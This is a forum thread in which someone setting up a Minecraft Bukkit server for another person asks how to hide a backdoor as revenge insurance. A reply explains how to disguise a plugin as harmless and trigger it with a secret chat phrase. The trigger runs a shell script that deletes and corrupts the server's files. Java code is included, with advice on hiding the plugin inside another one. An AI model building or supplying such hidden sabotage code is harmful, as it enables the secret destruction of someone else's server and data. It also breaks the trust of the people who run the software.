server backdoor!

Hello all.  I have a quick question.  I am currently setting up a linux bukkit server owned by someone else, mostly via putty and filezilla.  I am supposed to receive a profits percentage from said server.  However, in the event that they scam me upon it's completion, what would be the best way of going about setting up a hidden backdoor?  I just want to be able to kind of have a nuke option so they can't profit from my work.

Learn to write a bukkit plugin, implement a backdoor or two, like a server nuke that deletes everything from the server folder and corrupts as much as possible. To avoid file locking on the server .jar I'd suggest you execute a sh script and call System.exit(0) from java. Sleep a few seconds in the sh script then nuke the fucker off the map.

I'd suggest this be implemented something like this:

// Bonus points for integrating this with another plugin,
// but be careful as they might try to update it
public class SomeInnocuousPlugin extends JavaPlugin {
    // innocuous shit here
    @Override public void onEnable() {
        // normal onEnable hook here, then
        getServer().getPluginManager().registerEvents(this, new Listener() {
            @EventHandler void handle(AsyncPlayerChatEvent evt) {
                if (evt.getMessage().trim().equalsIgnoreCase("--yo this shits wack--")) {
                    // output a "shit.sh" here, then
                    Runtime.getRuntime().exec("/bin/sh shit.sh");
                }
            }
        }
    }
}